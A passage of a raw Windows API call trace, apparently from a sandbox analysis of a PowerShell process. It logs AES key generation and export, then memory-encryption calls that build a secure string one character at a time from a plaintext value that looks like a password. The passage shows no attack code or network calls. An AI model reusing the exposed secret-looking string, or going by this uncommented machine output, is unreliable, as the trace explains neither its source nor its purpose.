lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0247.036] EtwEventActivityIdControl () returned 0x0 [0247.036] EtwEventActivityIdControl () returned 0x0 [0247.036] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.037] EtwEventActivityIdControl () returned 0x0 [0247.037] EtwEventActivityIdControl () returned 0x0 [0247.037] EtwEventActivityIdControl () returned 0x0 [0247.039] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.040] EtwEventActivityIdControl () returned 0x0 [0247.040] EtwEventActivityIdControl () returned 0x0 [0247.040] EtwEventActivityIdControl () returned 0x0 [0247.043] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cff0) returned 1 [0247.044] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a20) returned 1 [0247.044] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.044] CryptExportKey (in: hKey=0x5c99a20, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0247.044] CryptExportKey (in: hKey=0x5c99a20, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23b6f78, pdwDataLen=0x5a2e8c4 | out: pbData=0x23b6f78*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0247.045] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.045] EtwEventActivityIdControl () returned 0x0 [0247.045] EtwEventActivityIdControl () returned 0x0 [0247.046] EtwEventActivityIdControl () returned 0x0 [0247.047] SysStringLen (param_1="") returned 0x8 [0247.047] SysStringLen (param_1="g") returned 0x8 [0247.047] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.047] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0247.047] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0247.047] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.047] SysStringLen (param_1="gl") returned 0x8 [0247.047] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.047] SysStringLen (param_1="詍ffi冣\뜤隷菅⋨) returned 0x8 [0247.048] SysStringLen (param_1="詍ffi冣\뜤隷菅⋨) returned 0x8 [0247.048] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.048] SysStringLen (param_1="gls") returned 0x8 [0247.048] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.048] SysStringLen (param_1="芺墊㦢憵뗚륜ᕺ藹") returned 0x8 [0247.048] SysStringLen (param_1="芺墊㦢憵뗚륜ᕺ藹") returned 0x8 [0247.048] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.048] SysStringLen (param_1="gls3") returned 0x8 [0247.048] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.048] SysStringLen (param_1="笞뾼䁬驚ꕮ箧㡣풥") returned 0x8 [0247.048] SysStringLen (param_1="笞뾼䁬驚ꕮ箧㡣풥") returned 0x8 [0247.049] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.049] SysStringLen (param_1="gls34") returned 0x8 [0247.049] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.049] SysStringLen (param_1="䣳昉㯕\⋛脙\Þ") returned 0x8 [0247.049] SysStringLen (param_1="䣳昉㯕\⋛脙\Þ") returned 0x8 [0247.049] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.049] SysStringLen (param_1="gls34W") returned 0x8 [0247.049] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.049] SysStringLen (param_1="⛇넘肳眣\쟟됝≂) returned 0x8 [0247.049] SysStringLen (param_1="⛇넘肳眣\쟟됝≂) returned 0x8 [0247.050] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.050] SysStringLen (param_1="gls34WT") returned 0x8 [0247.050] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.050] SysStringLen (param_1="䒠됛鬒쾿ᄱ㩫诡쀺") returned 0x8 [0247.050] SysStringLen (param_1="䒠됛鬒쾿ᄱ㩫诡쀺") returned 0x8 [0247.050] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.050] SysStringLen (param_1="gls34WTp") returned 0x8 [0247.050] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0247.050] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\⋞) returned 0x8 [0247.051] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\⋞) returned 0x8 [0247.051] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\⋞) returned 0x8 [0247.051] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\⋞) returned 0x10 [0247.051] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.052] SysStringLen (param_1="gls34WTpi泥㆔輬᧨据ᎌ") returned 0x10 [0247.052] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.052] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\鳞쁊얃ꒁ᠓\쓟㺔") returned 0x10 [0247.052] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\鳞쁊얃ꒁ᠓\쓟㺔") returned 0x10 [0247.052] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.052] SysStringLen (param_1="gls34WTpiA㆔輬᧨据ᎌ") returned 0x10 [0247.052] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.052] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\㓞䅄໎踿ꤸ蝋骳ݹ⊨) returned 0x10 [0247.052] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\㓞䅄໎踿ꤸ蝋骳ݹ⊨) returned 0x10 [0247.052] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.052] SysStringLen (param_1="gls34WTpiAV輬᧨据ᎌ") returned 0x10 [0247.053] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.053] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\\ﲠ仐벓漬䘳킅䈺") returned 0x10 [0247.053] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\\ﲠ仐벓漬䘳킅䈺") returned 0x10 [0247.053] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.053] SysStringLen (param_1="gls34WTpiAV1᧨据ᎌ") returned 0x10 [0247.053] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.053] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\닞约鄟쪛㺕摥暑⋯) returned 0x10 [0247.053] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\닞约鄟쪛㺕摥暑⋯) returned 0x10 [0247.053] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.053] SysStringLen (param_1="gls34WTpiAV1l᧨据ᎌ") returned 0x10 [0247.053] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.054] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\賞箬鶥Ꙏ舣ꦛᤙ됰⋽) returned 0x10 [0247.054] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\賞箬鶥Ꙏ舣ꦛᤙ됰⋽) returned 0x10 [0247.054] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.054] SysStringLen (param_1="gls34WTpiAV1l9据ᎌ") returned 0x10 [0247.054] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.054] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\엞饛䆧樗⇷䖻咽痹∉) returned 0x10 [0247.054] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\엞饛䆧樗⇷䖻咽痹∉) returned 0x10 [0247.054] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.054] SysStringLen (param_1="gls34WTpiAV1l9Jᎌ") returned 0x10 [0247.054] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.055] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\퇞꾀렻柫䶟당첯⋼) returned 0x10 [0247.055] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\퇞꾀렻柫䶟당첯⋼) returned 0x10 [0247.055] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.055] SysStringLen (param_1="gls34WTpiAV1l9J0") returned 0x10 [0247.055] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0247.055] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ⋧) returned 0x10 [0247.055] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ⋧) returned 0x10 [0247.055] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ⋧) returned 0x10 [0247.056] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ⋧) returned 0x18 [0247.056] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.056] SysStringLen (param_1="gls34WTpiAV1l9J0W⻷䬹瞂⚄ಟ♔⪘") returned 0x18 [0247.056] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.056] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ꟧俢⠎⥆酇志⊙) returned 0x18 [0247.056] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ꟧俢⠎⥆酇志⊙) returned 0x18 [0247.056] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.057] SysStringLen (param_1="gls34WTpiAV1l9J0Wr䬹瞂⚄ಟ♔⪘") returned 0x18 [0247.057] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.057] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ⏧＋ǂ摓⾄˄闉ា⋱) returned 0x18 [0247.057] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ⏧＋ǂ摓⾄˄闉ា⋱) returned 0x18 [0247.057] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.057] SysStringLen (param_1="gls34WTpiAV1l9J0Wrl瞂⚄ಟ♔⪘") returned 0x18 [0247.057] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.057] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ㓧햜⶿㺨γ馤\˜떿") returned 0x18 [0247.057] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ㓧햜⶿㺨γ馤\˜떿") returned 0x18 [0247.057] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.058] SysStringLen (param_1="gls34WTpiAV1l9J0Wrlc⚄ಟ♔⪘") returned 0x18 [0247.058] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.058] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ僩嬓섲ሶꮚʺ∻) returned 0x18 [0247.058] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ僩嬓섲ሶꮚʺ∻) returned 0x18 [0247.058] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.058] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMಟ♔⪘") returned 0x18 [0247.058] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.058] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ峧嘨︬摤繫譝枱䒈∰) returned 0x18 [0247.058] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ峧嘨︬摤繫譝枱䒈∰) returned 0x18 [0247.058] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.059] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMq♔⪘") returned 0x18 [0247.059] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.059] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ㯧岎ᘰ\ᗜ옡ℽ") returned 0x18 [0247.059] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ㯧岎ᘰ\ᗜ옡ℽ") returned 0x18 [0247.059] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.059] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqB⪘") returned 0x18 [0247.059] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.059] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ㏖識쀖ꆕퟦཬ흻∍) returned 0x18 [0247.059] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕ㏖識쀖ꆕퟦཬ흻∍) returned 0x18 [0247.059] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.060] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBu") returned 0x18 [0247.060] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0247.060] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ⊋) returned 0x18 [0247.060] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ⊋) returned 0x18 [0247.060] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ⊋) returned 0x18 [0247.061] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ⊋) returned 0x20 [0247.061] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.061] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM벀肚뚣ꢷ橋쭟䛌") returned 0x20 [0247.061] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.061] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ碋⍍ꘕᓭ袪㨟傍몜⊇) returned 0x20 [0247.061] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ碋⍍ꘕᓭ袪㨟傍몜⊇) returned 0x20 [0247.061] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.061] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4肚뚣ꢷ橋쭟䛌") returned 0x20 [0247.061] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.061] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ⚋릣蓹嗩ꭾ흅텻ﳙ⋠) returned 0x20 [0247.062] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ⚋릣蓹嗩ꭾ흅텻ﳙ⋠) returned 0x20 [0247.062] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.062] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4N뚣ꢷ橋쭟䛌") returned 0x20 [0247.062] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.062] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝꊋﷅ뵤픩擪ᆰ喪㺊∲) returned 0x20 [0247.062] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝꊋﷅ뵤픩擪ᆰ喪㺊∲) returned 0x20 [0247.062] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.160] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NAꢷ橋쭟䛌") returned 0x20 [0247.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.160] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ刁䗰쭟喍⏅ꭦႊ≅) returned 0x20 [0247.160] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ刁䗰쭟喍⏅ꭦႊ≅) returned 0x20 [0247.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.161] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NAD橋쭟䛌") returned 0x20 [0247.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.161] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ슋穜໤娗앁麜ƣ잍⋚) returned 0x20 [0247.161] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ슋穜໤娗앁麜ƣ잍⋚) returned 0x20 [0247.161] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.161] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ쭟䛌") returned 0x20 [0247.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.161] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ碋花痐舲ᯢㆽ↵蛲∐) returned 0x20 [0247.161] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ碋花痐舲ᯢㆽ↵蛲∐) returned 0x20 [0247.161] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.162] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9䛌") returned 0x20 [0247.162] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.162] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ좋\탞屟飚榧麣쒀") returned 0x20 [0247.162] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ좋\탞屟飚榧麣쒀") returned 0x20 [0247.162] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.162] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9G") returned 0x20 [0247.162] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0247.162] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶≹) returned 0x20 [0247.163] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶≹) returned 0x20 [0247.163] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶≹) returned 0x20 [0247.163] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶≹) returned 0x28 [0247.163] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.164] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHⳞ䌽\䟘᷀짦⊴) returned 0x28 [0247.164] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.164] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶銧励鸰ꅸꃼṨਬ⊓) returned 0x28 [0247.164] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶銧励鸰ꅸꃼṨਬ⊓) returned 0x28 [0247.164] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.164] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHW䌽\䟘᷀짦⊴) returned 0x28 [0247.164] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.164] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶ᕹ㲧ݘལཟꛃ龜⋸) returned 0x28 [0247.164] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶ᕹ㲧ݘལཟꛃ龜⋸) returned 0x28 [0247.164] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.165] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWG\䟘᷀짦⊴) returned 0x28 [0247.165] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.165] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶䕹ﾒ\鷘캘饉漢漰") returned 0x28 [0247.165] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶䕹ﾒ\鷘캘饉漢漰") returned 0x28 [0247.165] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.165] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoፇ샷듉") returned 0x28 [0247.165] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.165] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶摹効㋱঎쿹ᩐ\") returned 0x28 [0247.165] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶摹効㋱঎쿹ᩐ\") returned 0x28 [0247.165] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.166] SysStringLen (param_1="gls34WTpiAV1l9J0WrlcMqBuM4NADZ9GHWGoa샷듉") returned 0x28 [0247.166] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.166] SysStringLen (param_1="Ⲙ呰䛽㗢綐꾗ဝ\췞抸倖䰼母➺ꍕᏧᔗ混堌㐣Ⳝ妋䭑吔ᠴꡢ袘湶蝹\蟚뫦⡜靄㙔泊\⋝) returned 0x28 